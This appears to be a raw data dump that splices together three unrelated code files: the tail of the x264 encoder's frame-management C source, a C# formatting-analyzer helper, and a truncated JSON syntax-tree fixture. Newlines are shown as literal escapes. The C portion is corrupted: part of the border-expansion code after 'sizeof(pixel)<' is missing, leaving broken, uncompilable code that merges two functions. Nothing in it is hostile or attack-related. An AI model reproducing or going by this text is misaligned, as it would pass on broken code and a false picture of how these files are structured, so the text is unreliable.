frame->i_field_cnt = -1;\n frame->i_duration =\n frame->i_cpb_duration =\n frame->i_dpb_output_delay =\n frame->i_cpb_delay = 0;\n frame->i_coded_fields_lookahead =\n frame->i_cpb_delay_lookahead = -1;\n\n frame->orig = frame;\n\n if( i_csp == X264_CSP_NV12 || i_csp == X264_CSP_NV16 )\n {\n int chroma_padv = i_padv >> (i_csp == X264_CSP_NV12);\n int chroma_plane_size = (frame->i_stride[1] * (frame->i_lines[1] + 2*chroma_padv));\n PREALLOC( frame->buffer[1], chroma_plane_size * sizeof(pixel) );\n if( PARAM_INTERLACED )\n PREALLOC( frame->buffer_fld[1], chroma_plane_size * sizeof(pixel) );\n }\n\n /* all 4 luma planes allocated together, since the cacheline split code\n * requires them to be in-phase wrt cacheline alignment. */\n\n for( int p = 0; p < luma_plane_count; p++ )\n {\n int luma_plane_size = align_plane_size( frame->i_stride[p] * (frame->i_lines[p] + 2*i_padv), disalign );\n if( h->param.analyse.i_subpel_refine && b_fdec )\n {\n /* FIXME: Don't allocate both buffers in non-adaptive MBAFF. */\n PREALLOC( frame->buffer[p], 4*luma_plane_size * sizeof(pixel) );\n if( PARAM_INTERLACED )\n PREALLOC( frame->buffer_fld[p], 4*luma_plane_size * sizeof(pixel) );\n }\n else\n {\n PREALLOC( frame->buffer[p], luma_plane_size * sizeof(pixel) );\n if( PARAM_INTERLACED )\n PREALLOC( frame->buffer_fld[p], luma_plane_size * sizeof(pixel) );\n }\n }\n\n frame->b_duplicate = 0;\n\n if( b_fdec ) /* fdec frame */\n {\n PREALLOC( frame->mb_type, i_mb_count * sizeof(int8_t) );\n PREALLOC( frame->mb_partition, i_mb_count * sizeof(uint8_t) );\n PREALLOC( frame->mv[0], 2*16 * i_mb_count * sizeof(int16_t) );\n PREALLOC( frame->mv16x16, 2*(i_mb_count+1) * sizeof(int16_t) );\n PREALLOC( frame->ref[0], 4 * i_mb_count * sizeof(int8_t) );\n if( h->param.i_bframe )\n {\n PREALLOC( frame->mv[1], 2*16 * i_mb_count * sizeof(int16_t) );\n PREALLOC( frame->ref[1], 4 * i_mb_count * sizeof(int8_t) );\n }\n else\n {\n frame->mv[1] = NULL;\n frame->ref[1] = NULL;\n }\n PREALLOC( frame->i_row_bits, i_lines/16 * sizeof(int) );\n PREALLOC( frame->f_row_qp, i_lines/16 * sizeof(float) );\n PREALLOC( frame->f_row_qscale, i_lines/16 * sizeof(float) );\n if( h->param.analyse.i_me_method >= X264_ME_ESA )\n PREALLOC( frame->buffer[3], frame->i_stride[0] * (frame->i_lines[0] + 2*i_padv) * sizeof(uint16_t) << h->frames.b_have_sub8x8_esa );\n if( PARAM_INTERLACED )\n PREALLOC( frame->field, i_mb_count * sizeof(uint8_t) );\n if( h->param.analyse.b_mb_info )\n PREALLOC( frame->effective_qp, i_mb_count * sizeof(uint8_t) );\n }\n else /* fenc frame */\n {\n if( h->frames.b_have_lowres )\n {\n int luma_plane_size = align_plane_size( frame->i_stride_lowres * (frame->i_lines[0]/2 + 2*PADV), disalign );\n\n PREALLOC( frame->buffer_lowres[0], 4 * luma_plane_size * sizeof(pixel) );\n\n for( int j = 0; j <= !!h->param.i_bframe; j++ )\n for( int i = 0; i <= h->param.i_bframe; i++ )\n {\n PREALLOC( frame->lowres_mvs[j][i], 2*h->mb.i_mb_count*sizeof(int16_t) );\n PREALLOC( frame->lowres_mv_costs[j][i], h->mb.i_mb_count*sizeof(int) );\n }\n PREALLOC( frame->i_propagate_cost, i_mb_count * sizeof(uint16_t) );\n for( int j = 0; j <= h->param.i_bframe+1; j++ )\n for( int i = 0; i <= h->param.i_bframe+1; i++ )\n PREALLOC( frame->lowres_costs[j][i], i_mb_count * sizeof(uint16_t) );\n\n /* mbtree asm can overread the input buffers, make sure we don't read outside of allocated memory. */\n prealloc_size += NATIVE_ALIGN;\n }\n if( h->param.rc.i_aq_mode )\n {\n PREALLOC( frame->f_qp_offset, h->mb.i_mb_count * sizeof(float) );\n PREALLOC( frame->f_qp_offset_aq, h->mb.i_mb_count * sizeof(float) );\n if( h->frames.b_have_lowres )\n PREALLOC( frame->i_inv_qscale_factor, (h->mb.i_mb_count+3) * sizeof(uint16_t) );\n }\n }\n\n PREALLOC_END( frame->base );\n\n if( i_csp == X264_CSP_NV12 || i_csp == X264_CSP_NV16 )\n {\n int chroma_padv = i_padv >> (i_csp == X264_CSP_NV12);\n frame->plane[1] = frame->buffer[1] + frame->i_stride[1] * chroma_padv + PADH;\n if( PARAM_INTERLACED )\n frame->plane_fld[1] = frame->buffer_fld[1] + frame->i_stride[1] * chroma_padv + PADH;\n }\n\n for( int p = 0; p < luma_plane_count; p++ )\n {\n int luma_plane_size = align_plane_size( frame->i_stride[p] * (frame->i_lines[p] + 2*i_padv), disalign );\n if( h->param.analyse.i_subpel_refine && b_fdec )\n {\n for( int i = 0; i < 4; i++ )\n {\n frame->filtered[p][i] = frame->buffer[p] + i*luma_plane_size + frame->i_stride[p] * i_padv + PADH;\n frame->filtered_fld[p][i] = frame->buffer_fld[p] + i*luma_plane_size + frame->i_stride[p] * i_padv + PADH;\n }\n frame->plane[p] = frame->filtered[p][0];\n frame->plane_fld[p] = frame->filtered_fld[p][0];\n }\n else\n {\n frame->filtered[p][0] = frame->plane[p] = frame->buffer[p] + frame->i_stride[p] * i_padv + PADH;\n frame->filtered_fld[p][0] = frame->plane_fld[p] = frame->buffer_fld[p] + frame->i_stride[p] * i_padv + PADH;\n }\n }\n\n if( b_fdec )\n {\n M32( frame->mv16x16[0] ) = 0;\n frame->mv16x16++;\n\n if( h->param.analyse.i_me_method >= X264_ME_ESA )\n frame->integral = (uint16_t*)frame->buffer[3] + frame->i_stride[0] * i_padv + PADH;\n }\n else\n {\n if( h->frames.b_have_lowres )\n {\n int luma_plane_size = align_plane_size( frame->i_stride_lowres * (frame->i_lines[0]/2 + 2*PADV), disalign );\n for( int i = 0; i < 4; i++ )\n frame->lowres[i] = frame->buffer_lowres[0] + (frame->i_stride_lowres * PADV + PADH) + i * luma_plane_size;\n\n for( int j = 0; j <= !!h->param.i_bframe; j++ )\n for( int i = 0; i <= h->param.i_bframe; i++ )\n memset( frame->lowres_mvs[j][i], 0, 2*h->mb.i_mb_count*sizeof(int16_t) );\n\n frame->i_intra_cost = frame->lowres_costs[0][0];\n memset( frame->i_intra_cost, -1, (i_mb_count+3) * sizeof(uint16_t) );\n\n if( h->param.rc.i_aq_mode )\n /* shouldn't really be initialized, just silences a valgrind false-positive in x264_mbtree_propagate_cost_sse2 */\n memset( frame->i_inv_qscale_factor, 0, (h->mb.i_mb_count+3) * sizeof(uint16_t) );\n }\n }\n\n if( x264_pthread_mutex_init( &frame->mutex, NULL ) )\n goto fail;\n if( x264_pthread_cond_init( &frame->cv, NULL ) )\n goto fail;\n\n#if HAVE_OPENCL\n frame->opencl.ocl = h->opencl.ocl;\n#endif\n\n return frame;\n\nfail:\n x264_free( frame );\n return NULL;\n}\n\nvoid x264_frame_delete( x264_frame_t *frame )\n{\n /* Duplicate frames are blank copies of real frames (including pointers),\n * so freeing those pointers would cause a double free later. */\n if( !frame->b_duplicate )\n {\n x264_free( frame->base );\n\n if( frame->param && frame->param->param_free )\n frame->param->param_free( frame->param );\n if( frame->mb_info_free )\n frame->mb_info_free( frame->mb_info );\n if( frame->extra_sei.sei_free )\n {\n for( int i = 0; i < frame->extra_sei.num_payloads; i++ )\n frame->extra_sei.sei_free( frame->extra_sei.payloads[i].payload );\n frame->extra_sei.sei_free( frame->extra_sei.payloads );\n }\n x264_pthread_mutex_destroy( &frame->mutex );\n x264_pthread_cond_destroy( &frame->cv );\n#if HAVE_OPENCL\n x264_opencl_frame_delete( frame );\n#endif\n }\n x264_free( frame );\n}\n\nstatic int get_plane_ptr( x264_t *h, x264_picture_t *src, uint8_t **pix, int *stride, int plane, int xshift, int yshift )\n{\n int width = h->param.i_width >> xshift;\n int height = h->param.i_height >> yshift;\n *pix = src->img.plane[plane];\n *stride = src->img.i_stride[plane];\n if( src->img.i_csp & X264_CSP_VFLIP )\n {\n *pix += (height-1) * *stride;\n *stride = -*stride;\n }\n if( width > abs(*stride) )\n {\n x264_log( h, X264_LOG_ERROR, \"Input picture width (%d) is greater than stride (%d)\\n\", width, *stride );\n return -1;\n }\n return 0;\n}\n\n#define get_plane_ptr(...) do { if( get_plane_ptr(__VA_ARGS__) < 0 ) return -1; } while( 0 )\n\nint x264_frame_copy_picture( x264_t *h, x264_frame_t *dst, x264_picture_t *src )\n{\n int i_csp = src->img.i_csp & X264_CSP_MASK;\n if( dst->i_csp != frame_internal_csp( i_csp ) )\n {\n x264_log( h, X264_LOG_ERROR, \"Invalid input colorspace\\n\" );\n return -1;\n }\n\n#if HIGH_BIT_DEPTH\n if( !(src->img.i_csp & X264_CSP_HIGH_DEPTH) )\n {\n x264_log( h, X264_LOG_ERROR, \"This build of x264 requires high depth input. Rebuild to support 8-bit input.\\n\" );\n return -1;\n }\n#else\n if( src->img.i_csp & X264_CSP_HIGH_DEPTH )\n {\n x264_log( h, X264_LOG_ERROR, \"This build of x264 requires 8-bit input. Rebuild to support high depth input.\\n\" );\n return -1;\n }\n#endif\n\n if( BIT_DEPTH != 10 && i_csp == X264_CSP_V210 )\n {\n x264_log( h, X264_LOG_ERROR, \"v210 input is only compatible with bit-depth of 10 bits\\n\" );\n return -1;\n }\n\n if( src->i_type < X264_TYPE_AUTO || src->i_type > X264_TYPE_KEYFRAME )\n {\n x264_log( h, X264_LOG_WARNING, \"forced frame type (%d) at %d is unknown\\n\", src->i_type, h->frames.i_input );\n dst->i_forced_type = X264_TYPE_AUTO;\n }\n else\n dst->i_forced_type = src->i_type;\n\n dst->i_type = dst->i_forced_type;\n dst->i_qpplus1 = src->i_qpplus1;\n dst->i_pts = dst->i_reordered_pts = src->i_pts;\n dst->param = src->param;\n dst->i_pic_struct = src->i_pic_struct;\n dst->extra_sei = src->extra_sei;\n dst->opaque = src->opaque;\n dst->mb_info = h->param.analyse.b_mb_info ? src->prop.mb_info : NULL;\n dst->mb_info_free = h->param.analyse.b_mb_info ? src->prop.mb_info_free : NULL;\n\n uint8_t *pix[3];\n int stride[3];\n if( i_csp == X264_CSP_YUYV || i_csp == X264_CSP_UYVY )\n {\n int p = i_csp == X264_CSP_UYVY;\n h->mc.plane_copy_deinterleave_yuyv( dst->plane[p], dst->i_stride[p], dst->plane[p^1], dst->i_stride[p^1],\n (pixel*)src->img.plane[0], src->img.i_stride[0], h->param.i_width, h->param.i_height );\n }\n else if( i_csp == X264_CSP_V210 )\n {\n stride[0] = src->img.i_stride[0];\n pix[0] = src->img.plane[0];\n\n h->mc.plane_copy_deinterleave_v210( dst->plane[0], dst->i_stride[0],\n dst->plane[1], dst->i_stride[1],\n (uint32_t *)pix[0], stride[0]/sizeof(uint32_t), h->param.i_width, h->param.i_height );\n }\n else if( i_csp >= X264_CSP_BGR )\n {\n stride[0] = src->img.i_stride[0];\n pix[0] = src->img.plane[0];\n if( src->img.i_csp & X264_CSP_VFLIP )\n {\n pix[0] += (h->param.i_height-1) * stride[0];\n stride[0] = -stride[0];\n }\n int b = i_csp==X264_CSP_RGB;\n h->mc.plane_copy_deinterleave_rgb( dst->plane[1+b], dst->i_stride[1+b],\n dst->plane[0], dst->i_stride[0],\n dst->plane[2-b], dst->i_stride[2-b],\n (pixel*)pix[0], stride[0]/sizeof(pixel), i_csp==X264_CSP_BGRA ? 4 : 3, h->param.i_width, h->param.i_height );\n }\n else\n {\n int v_shift = CHROMA_V_SHIFT;\n get_plane_ptr( h, src, &pix[0], &stride[0], 0, 0, 0 );\n h->mc.plane_copy( dst->plane[0], dst->i_stride[0], (pixel*)pix[0],\n stride[0]/sizeof(pixel), h->param.i_width, h->param.i_height );\n if( i_csp == X264_CSP_NV12 || i_csp == X264_CSP_NV16 )\n {\n get_plane_ptr( h, src, &pix[1], &stride[1], 1, 0, v_shift );\n h->mc.plane_copy( dst->plane[1], dst->i_stride[1], (pixel*)pix[1],\n stride[1]/sizeof(pixel), h->param.i_width, h->param.i_height>>v_shift );\n }\n else if( i_csp == X264_CSP_NV21 )\n {\n get_plane_ptr( h, src, &pix[1], &stride[1], 1, 0, v_shift );\n h->mc.plane_copy_swap( dst->plane[1], dst->i_stride[1], (pixel*)pix[1],\n stride[1]/sizeof(pixel), h->param.i_width>>1, h->param.i_height>>v_shift );\n }\n else if( i_csp == X264_CSP_I420 || i_csp == X264_CSP_I422 || i_csp == X264_CSP_YV12 || i_csp == X264_CSP_YV16 )\n {\n int uv_swap = i_csp == X264_CSP_YV12 || i_csp == X264_CSP_YV16;\n get_plane_ptr( h, src, &pix[1], &stride[1], uv_swap ? 2 : 1, 1, v_shift );\n get_plane_ptr( h, src, &pix[2], &stride[2], uv_swap ? 1 : 2, 1, v_shift );\n h->mc.plane_copy_interleave( dst->plane[1], dst->i_stride[1],\n (pixel*)pix[1], stride[1]/sizeof(pixel),\n (pixel*)pix[2], stride[2]/sizeof(pixel),\n h->param.i_width>>1, h->param.i_height>>v_shift );\n }\n else //if( i_csp == X264_CSP_I444 || i_csp == X264_CSP_YV24 )\n {\n get_plane_ptr( h, src, &pix[1], &stride[1], i_csp==X264_CSP_I444 ? 1 : 2, 0, 0 );\n get_plane_ptr( h, src, &pix[2], &stride[2], i_csp==X264_CSP_I444 ? 2 : 1, 0, 0 );\n h->mc.plane_copy( dst->plane[1], dst->i_stride[1], (pixel*)pix[1],\n stride[1]/sizeof(pixel), h->param.i_width, h->param.i_height );\n h->mc.plane_copy( dst->plane[2], dst->i_stride[2], (pixel*)pix[2],\n stride[2]/sizeof(pixel), h->param.i_width, h->param.i_height );\n }\n }\n return 0;\n}\n\nstatic void ALWAYS_INLINE pixel_memset( pixel *dst, pixel *src, int len, int size )\n{\n uint8_t *dstp = (uint8_t*)dst;\n uint32_t v1 = *src;\n uint32_t v2 = size == 1 ? v1 + (v1 << 8) : M16( src );\n uint32_t v4 = size <= 2 ? v2 + (v2 << 16) : M32( src );\n int i = 0;\n len *= size;\n\n /* Align the input pointer if it isn't already */\n if( (intptr_t)dstp & (WORD_SIZE - 1) )\n {\n if( size <= 2 && ((intptr_t)dstp & 3) )\n {\n if( size == 1 && ((intptr_t)dstp & 1) )\n dstp[i++] = v1;\n if( (intptr_t)dstp & 2 )\n {\n M16( dstp+i ) = v2;\n i += 2;\n }\n }\n if( WORD_SIZE == 8 && (intptr_t)dstp & 4 )\n {\n M32( dstp+i ) = v4;\n i += 4;\n }\n }\n\n /* Main copy loop */\n if( WORD_SIZE == 8 )\n {\n uint64_t v8 = v4 + ((uint64_t)v4<<32);\n for( ; i < len - 7; i+=8 )\n M64( dstp+i ) = v8;\n }\n for( ; i < len - 3; i+=4 )\n M32( dstp+i ) = v4;\n\n /* Finish up the last few bytes */\n if( size <= 2 )\n {\n if( i < len - 1 )\n {\n M16( dstp+i ) = v2;\n i += 2;\n }\n if( size == 1 && i != len )\n dstp[i] = v1;\n }\n}\n\nstatic void ALWAYS_INLINE plane_expand_border( pixel *pix, int i_stride, int i_width, int i_height, int i_padh, int i_padv, int b_pad_top, int b_pad_bottom, int b_chroma )\n{\n#define PPIXEL(x, y) ( pix + (x) + (y)*i_stride )\n for( int y = 0; y < i_height; y++ )\n {\n /* left band */\n pixel_memset( PPIXEL(-i_padh, y), PPIXEL(0, y), i_padh>>b_chroma, sizeof(pixel)<>b_chroma, sizeof(pixel)<mb.i_mb_height - (1 << SLICE_MBAFF);\n int b_start = mb_y == h->i_threadslice_start;\n int b_end = mb_y == h->i_threadslice_end - (1 << SLICE_MBAFF);\n if( mb_y & SLICE_MBAFF )\n return;\n for( int i = 0; i < frame->i_plane; i++ )\n {\n int h_shift = i && CHROMA_H_SHIFT;\n int v_shift = i && CHROMA_V_SHIFT;\n int stride = frame->i_stride[i];\n int width = 16*h->mb.i_mb_width;\n int height = (pad_bot ? 16*(h->mb.i_mb_height - mb_y) >> SLICE_MBAFF : 16) >> v_shift;\n int padh = PADH;\n int padv = PADV >> v_shift;\n // buffer: 2 chroma, 3 luma (rounded to 4) because deblocking goes beyond the top of the mb\n if( b_end && !b_start )\n height += 4 >> (v_shift + SLICE_MBAFF);\n pixel *pix;\n int starty = 16*mb_y - 4*!b_start;\n if( SLICE_MBAFF )\n {\n // border samples for each field are extended separately\n pix = frame->plane_fld[i] + (starty*stride >> v_shift);\n plane_expand_border( pix, stride*2, width, height, padh, padv, pad_top, pad_bot, h_shift );\n plane_expand_border( pix+stride, stride*2, width, height, padh, padv, pad_top, pad_bot, h_shift );\n\n height = (pad_bot ? 16*(h->mb.i_mb_height - mb_y) : 32) >> v_shift;\n if( b_end && !b_start )\n height += 4 >> v_shift;\n pix = frame->plane[i] + (starty*stride >> v_shift);\n plane_expand_border( pix, stride, width, height, padh, padv, pad_top, pad_bot, h_shift );\n }\n else\n {\n pix = frame->plane[i] + (starty*stride >> v_shift);\n plane_expand_border( pix, stride, width, height, padh, padv, pad_top, pad_bot, h_shift );\n }\n }\n}\n\nvoid x264_frame_expand_border_filtered( x264_t *h, x264_frame_t *frame, int mb_y, int b_end )\n{\n /* during filtering, 8 extra pixels were filtered on each edge,\n * but up to 3 of the horizontal ones may be wrong.\n we want to expand border from the last filtered pixel */\n int b_start = !mb_y;\n int width = 16*h->mb.i_mb_width + 8;\n int height = b_end ? (16*(h->mb.i_mb_height - mb_y) >> SLICE_MBAFF) + 16 : 16;\n int padh = PADH - 4;\n int padv = PADV - 8;\n for( int p = 0; p < (CHROMA444 ? 3 : 1); p++ )\n for( int i = 1; i < 4; i++ )\n {\n int stride = frame->i_stride[p];\n // buffer: 8 luma, to match the hpel filter\n pixel *pix;\n if( SLICE_MBAFF )\n {\n pix = frame->filtered_fld[p][i] + (16*mb_y - 16) * stride - 4;\n plane_expand_border( pix, stride*2, width, height, padh, padv, b_start, b_end, 0 );\n plane_expand_border( pix+stride, stride*2, width, height, padh, padv, b_start, b_end, 0 );\n }\n\n pix = frame->filtered[p][i] + (16*mb_y - 8) * stride - 4;\n plane_expand_border( pix, stride, width, height << SLICE_MBAFF, padh, padv, b_start, b_end, 0 );\n }\n}\n\nvoid x264_frame_expand_border_lowres( x264_frame_t *frame )\n{\n for( int i = 0; i < 4; i++ )\n plane_expand_border( frame->lowres[i], frame->i_stride_lowres, frame->i_width_lowres, frame->i_lines_lowres, PADH, PADV, 1, 1, 0 );\n}\n\nvoid x264_frame_expand_border_chroma( x264_t *h, x264_frame_t *frame, int plane )\n{\n int v_shift = CHROMA_V_SHIFT;\n plane_expand_border( frame->plane[plane], frame->i_stride[plane], 16*h->mb.i_mb_width, 16*h->mb.i_mb_height>>v_shift,\n PADH, PADV>>v_shift, 1, 1, CHROMA_H_SHIFT );\n}\n\nvoid x264_frame_expand_border_mod16( x264_t *h, x264_frame_t *frame )\n{\n for( int i = 0; i < frame->i_plane; i++ )\n {\n int i_width = h->param.i_width;\n int h_shift = i && CHROMA_H_SHIFT;\n int v_shift = i && CHROMA_V_SHIFT;\n int i_height = h->param.i_height >> v_shift;\n int i_padx = (h->mb.i_mb_width * 16 - h->param.i_width);\n int i_pady = (h->mb.i_mb_height * 16 - h->param.i_height) >> v_shift;\n\n if( i_padx )\n {\n for( int y = 0; y < i_height; y++ )\n pixel_memset( &frame->plane[i][y*frame->i_stride[i] + i_width],\n &frame->plane[i][y*frame->i_stride[i] + i_width - 1-h_shift],\n i_padx>>h_shift, sizeof(pixel)<plane[i][y*frame->i_stride[i]],\n &frame->plane[i][(i_height-(~y&PARAM_INTERLACED)-1)*frame->i_stride[i]],\n (i_width + i_padx) * sizeof(pixel) );\n }\n }\n}\n\nvoid x264_expand_border_mbpair( x264_t *h, int mb_x, int mb_y )\n{\n for( int i = 0; i < h->fenc->i_plane; i++ )\n {\n int v_shift = i && CHROMA_V_SHIFT;\n int stride = h->fenc->i_stride[i];\n int height = h->param.i_height >> v_shift;\n int pady = (h->mb.i_mb_height * 16 - h->param.i_height) >> v_shift;\n pixel *fenc = h->fenc->plane[i] + 16*mb_x;\n for( int y = height; y < height + pady; y++ )\n memcpy( fenc + y*stride, fenc + (height-1)*stride, 16*sizeof(pixel) );\n }\n}\n\n/* threading */\nvoid x264_frame_cond_broadcast( x264_frame_t *frame, int i_lines_completed )\n{\n x264_pthread_mutex_lock( &frame->mutex );\n frame->i_lines_completed = i_lines_completed;\n x264_pthread_cond_broadcast( &frame->cv );\n x264_pthread_mutex_unlock( &frame->mutex );\n}\n\nvoid x264_frame_cond_wait( x264_frame_t *frame, int i_lines_completed )\n{\n x264_pthread_mutex_lock( &frame->mutex );\n while( frame->i_lines_completed < i_lines_completed )\n x264_pthread_cond_wait( &frame->cv, &frame->mutex );\n x264_pthread_mutex_unlock( &frame->mutex );\n}\n\nvoid x264_threadslice_cond_broadcast( x264_t *h, int pass )\n{\n x264_pthread_mutex_lock( &h->mutex );\n h->i_threadslice_pass = pass;\n if( pass > 0 )\n x264_pthread_cond_broadcast( &h->cv );\n x264_pthread_mutex_unlock( &h->mutex );\n}\n\nvoid x264_threadslice_cond_wait( x264_t *h, int pass )\n{\n x264_pthread_mutex_lock( &h->mutex );\n while( h->i_threadslice_pass < pass )\n x264_pthread_cond_wait( &h->cv, &h->mutex );\n x264_pthread_mutex_unlock( &h->mutex );\n}\n\nint x264_frame_new_slice( x264_t *h, x264_frame_t *frame )\n{\n if( h->param.i_slice_count_max )\n {\n int slice_count;\n if( h->param.b_sliced_threads )\n slice_count = x264_pthread_fetch_and_add( &frame->i_slice_count, 1, &frame->mutex );\n else\n slice_count = frame->i_slice_count++;\n if( slice_count >= h->param.i_slice_count_max )\n return -1;\n }\n return 0;\n}\n\n/* list operators */\n\nvoid x264_frame_push( x264_frame_t **list, x264_frame_t *frame )\n{\n int i = 0;\n while( list[i] ) i++;\n list[i] = frame;\n}\n\nx264_frame_t *x264_frame_pop( x264_frame_t **list )\n{\n x264_frame_t *frame;\n int i = 0;\n assert( list[0] );\n while( list[i+1] ) i++;\n frame = list[i];\n list[i] = NULL;\n return frame;\n}\n\nvoid x264_frame_unshift( x264_frame_t **list, x264_frame_t *frame )\n{\n int i = 0;\n while( list[i] ) i++;\n while( i-- )\n list[i+1] = list[i];\n list[0] = frame;\n}\n\nx264_frame_t *x264_frame_shift( x264_frame_t **list )\n{\n x264_frame_t *frame = list[0];\n int i;\n for( i = 0; list[i]; i++ )\n list[i] = list[i+1];\n assert(frame);\n return frame;\n}\n\nvoid x264_frame_push_unused( x264_t *h, x264_frame_t *frame )\n{\n assert( frame->i_reference_count > 0 );\n frame->i_reference_count--;\n if( frame->i_reference_count == 0 )\n x264_frame_push( h->frames.unused[frame->b_fdec], frame );\n}\n\nx264_frame_t *x264_frame_pop_unused( x264_t *h, int b_fdec )\n{\n x264_frame_t *frame;\n if( h->frames.unused[b_fdec][0] )\n frame = x264_frame_pop( h->frames.unused[b_fdec] );\n else\n frame = frame_new( h, b_fdec );\n if( !frame )\n return NULL;\n frame->b_last_minigop_bframe = 0;\n frame->i_reference_count = 1;\n frame->b_intra_calculated = 0;\n frame->b_scenecut = 1;\n frame->b_keyframe = 0;\n frame->b_corrupt = 0;\n frame->i_slice_count = h->param.b_sliced_threads ? h->param.i_threads : 1;\n\n memset( frame->weight, 0, sizeof(frame->weight) );\n memset( frame->f_weighted_cost_delta, 0, sizeof(frame->f_weighted_cost_delta) );\n\n return frame;\n}\n\nvoid x264_frame_push_blank_unused( x264_t *h, x264_frame_t *frame )\n{\n assert( frame->i_reference_count > 0 );\n frame->i_reference_count--;\n if( frame->i_reference_count == 0 )\n x264_frame_push( h->frames.blank_unused, frame );\n}\n\nx264_frame_t *x264_frame_pop_blank_unused( x264_t *h )\n{\n x264_frame_t *frame;\n if( h->frames.blank_unused[0] )\n frame = x264_frame_pop( h->frames.blank_unused );\n else\n frame = x264_malloc( sizeof(x264_frame_t) );\n if( !frame )\n return NULL;\n frame->b_duplicate = 1;\n frame->i_reference_count = 1;\n return frame;\n}\n\nvoid x264_weight_scale_plane( x264_t *h, pixel *dst, intptr_t i_dst_stride, pixel *src, intptr_t i_src_stride,\n int i_width, int i_height, x264_weight_t *w )\n{\n /* Weight horizontal strips of height 16. This was found to be the optimal height\n * in terms of the cache loads. */\n while( i_height > 0 )\n {\n int x;\n for( x = 0; x < i_width-8; x += 16 )\n w->weightfn[16>>2]( dst+x, i_dst_stride, src+x, i_src_stride, w, X264_MIN( i_height, 16 ) );\n if( x < i_width )\n w->weightfn[ 8>>2]( dst+x, i_dst_stride, src+x, i_src_stride, w, X264_MIN( i_height, 16 ) );\n i_height -= 16;\n dst += 16 * i_dst_stride;\n src += 16 * i_src_stride;\n }\n}\n\nvoid x264_frame_delete_list( x264_frame_t **list )\n{\n int i = 0;\n if( !list )\n return;\n while( list[i] )\n x264_frame_delete( list[i++] );\n x264_free( list );\n}\n\nint x264_sync_frame_list_init( x264_sync_frame_list_t *slist, int max_size )\n{\n if( max_size < 0 )\n return -1;\n slist->i_max_size = max_size;\n slist->i_size = 0;\n CHECKED_MALLOCZERO( slist->list, (max_size+1) * sizeof(x264_frame_t*) );\n if( x264_pthread_mutex_init( &slist->mutex, NULL ) ||\n x264_pthread_cond_init( &slist->cv_fill, NULL ) ||\n x264_pthread_cond_init( &slist->cv_empty, NULL ) )\n return -1;\n return 0;\nfail:\n return -1;\n}\n\nvoid x264_sync_frame_list_delete( x264_sync_frame_list_t *slist )\n{\n x264_pthread_mutex_destroy( &slist->mutex );\n x264_pthread_cond_destroy( &slist->cv_fill );\n x264_pthread_cond_destroy( &slist->cv_empty );\n x264_frame_delete_list( slist->list );\n}\n\nvoid x264_sync_frame_list_push( x264_sync_frame_list_t *slist, x264_frame_t *frame )\n{\n x264_pthread_mutex_lock( &slist->mutex );\n while( slist->i_size == slist->i_max_size )\n x264_pthread_cond_wait( &slist->cv_empty, &slist->mutex );\n slist->list[ slist->i_size++ ] = frame;\n x264_pthread_mutex_unlock( &slist->mutex );\n x264_pthread_cond_broadcast( &slist->cv_fill );\n}\n\nx264_frame_t *x264_sync_frame_list_pop( x264_sync_frame_list_t *slist )\n{\n x264_frame_t *frame;\n x264_pthread_mutex_lock( &slist->mutex );\n while( !slist->i_size )\n x264_pthread_cond_wait( &slist->cv_fill, &slist->mutex );\n frame = slist->list[ --slist->i_size ];\n slist->list[ slist->i_size ] = NULL;\n x264_pthread_cond_broadcast( &slist->cv_empty );\n x264_pthread_mutex_unlock( &slist->mutex );\n return frame;\n}\n"} -{"text": "\ufeff// Copyright (c) Microsoft. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information.\n\nusing StarkPlatform.Compiler.Diagnostics;\nusing StarkPlatform.Compiler.Formatting;\nusing StarkPlatform.Compiler.Text;\n\n#if CODE_STYLE\nusing FormatterState = StarkPlatform.Compiler.Formatting.ISyntaxFormattingService;\n#else\nusing StarkPlatform.Compiler.Options;\nusing FormatterState = StarkPlatform.Compiler.Workspace;\n#endif\n\nnamespace StarkPlatform.Compiler.CodeStyle\n{\n internal static class FormattingAnalyzerHelper\n {\n internal static void AnalyzeSyntaxTree(SyntaxTreeAnalysisContext context, FormatterState formatterState, DiagnosticDescriptor descriptor, OptionSet options)\n {\n var tree = context.Tree;\n var cancellationToken = context.CancellationToken;\n\n var oldText = tree.GetText(cancellationToken);\n var formattingChanges = Formatter.GetFormattedTextChanges(tree.GetRoot(cancellationToken), formatterState, options, cancellationToken);\n\n // formattingChanges could include changes that impact a larger section of the original document than\n // necessary. Before reporting diagnostics, process the changes to minimize the span of individual\n // diagnostics.\n foreach (var formattingChange in formattingChanges)\n {\n var change = formattingChange;\n if (change.NewText.Length > 0 && !change.Span.IsEmpty)\n {\n // Handle cases where the change is a substring removal from the beginning. In these cases, we want\n // the diagnostic span to cover the unwanted leading characters (which should be removed), and\n // nothing more.\n var offset = change.Span.Length - change.NewText.Length;\n if (offset >= 0)\n {\n if (oldText.GetSubText(new TextSpan(change.Span.Start + offset, change.NewText.Length)).ContentEquals(SourceText.From(change.NewText)))\n {\n change = new TextChange(new TextSpan(change.Span.Start, offset), \"\");\n }\n else\n {\n // Handle cases where the change is a substring removal from the end. In these cases, we want\n // the diagnostic span to cover the unwanted trailing characters (which should be removed), and\n // nothing more.\n if (oldText.GetSubText(new TextSpan(change.Span.Start, change.NewText.Length)).ContentEquals(SourceText.From(change.NewText)))\n {\n change = new TextChange(new TextSpan(change.Span.Start + change.NewText.Length, offset), \"\");\n }\n }\n }\n }\n\n if (change.NewText.Length == 0 && change.Span.IsEmpty)\n {\n // No actual change (allows for the formatter to report a NOP change without triggering a\n // diagnostic that can't be fixed).\n continue;\n }\n\n var location = Location.Create(tree, change.Span);\n context.ReportDiagnostic(Diagnostic.Create(\n descriptor,\n location,\n additionalLocations: null,\n properties: null));\n }\n }\n }\n}\n"} -{"text": "{\n \"type\": \"Program\",\n \"body\": [\n {\n \"type\": \"ExpressionStatement\",\n \"expression\": {\n \"type\": \"CallExpression\",\n \"callee\": {\n \"type\": \"Identifier\",\n \"name\": \"f\",\n \"range\": [\n 0,\n 1\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 0\n },\n \"end\": {\n \"line\": 1,\n \"column\": 1\n }\n }\n },\n \"arguments\": [\n {\n \"type\": \"Identifier\",\n \"name\": \"a\",\n \"range\": [\n 2,\n 3\n ],\n \"loc\": {\n \"start\": {\n \"line\": 1,\n \"column\": 2\n },\n \"end\": {\n \"line\": 1,\n \"column\": 3\n }\n }\n },\n {\n \"type\": \"FunctionExpression\",\n \"id\": null,\n \"params\": [],\n \"body\": {\n \"type\": \"BlockStatement\",\n \"body\": [],\n \"range\": [\n 14,\n 16\n ],\n \"loc\": {\n \"start\": {\n \"line\": 